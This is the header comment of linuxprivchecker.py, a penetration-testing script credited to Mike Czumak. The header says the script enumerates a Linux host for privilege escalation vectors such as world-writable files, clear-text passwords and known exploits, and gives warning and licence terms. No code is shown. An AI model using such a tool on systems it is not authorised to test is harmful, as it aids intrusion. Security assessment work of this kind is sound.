  ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
  ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
  ##-------------------------------------------------------------------------------------------------------------
  ## [Details]: 
  ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 
  ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
  ## passwords and applicable exploits. 
  ##-------------------------------------------------------------------------------------------------------------
  ## [Warning]:
  ## This script comes as-is with no promise of functionality or accuracy.  I have no plans to maintain updates, 
  ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 
  ## results.  For example, the function that links packages to running processes is based on keywords and will 
  ## not always be accurate.  Also, the exploit list included in this function will need to be updated over time. 
  ## Feel free to change or improve it any way you see fit.
  ##-------------------------------------------------------------------------------------------------------------   
  ## [Modification, Distribution, and Attribution]:
  ## You are free to modify and/or distribute this script as you wish.  I only ask that you maintain original
  ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 
  ## worth anything anyway :)
